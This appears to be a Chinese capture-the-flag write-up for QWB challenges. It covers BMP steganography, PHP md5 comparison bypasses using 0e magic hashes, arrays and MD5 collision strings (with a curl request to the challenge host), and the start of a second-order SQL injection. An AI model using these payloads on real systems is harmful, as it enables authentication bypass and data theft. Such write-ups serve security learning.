welcome
这题下载下来一个bmp文件,尝试最低位隐写无果后,尝试offset,最后在offset100位后找到flag
flag: qwb{W3lc0me}
web签到
1 | 题目地址:`http://39.107.33.96:10000/` |
第一层:使用了弱等于,php弱类型绕过 0e开头的全部相等
1 | if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){ |
payload
1 | param1=240610708¶m2=QNKCDZO |
第二层:使用了强等于(不仅检查数值还检查类型),md5函数无法处理数组参数返回NULL
1 | if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ |
payload
1 | param1[]=1¶m2[]=2 |
第三层:使用了强等于和强制字符串转化
1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ |
脚本参考
1 | #!/usr/bin/env python |
Note: 若本题为GET提交参数,只需param1和param2进行urlencode提交即可,无需urllib.unquote步骤
附 l3m0n师傅的解法:
1 | curl -v http://39.107.33.96:10000/ -H "Cookie: PHPSESSID=on8uv0kfij2h7lm2uramtluo53" --data "param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2" |
Flag: QWB{s1gns1gns1gnaftermd5}
Three hit
1 | 题目地址:http://39.107.32.29:10000 |
这个题目是一个二次注入,用户注册会将age存入数据库,登陆成功后profile.php界面会从数据库中查询具有相同age的username。
二次注入:源于开发人员对数据库中的数据太过信任,凡是提取数据库中来自用户的数据不经过处理,即可触发二次注入。
测试过程中发现age必须为数字。于是通过hex编码绕过
payload
1 | 寻找注入点: |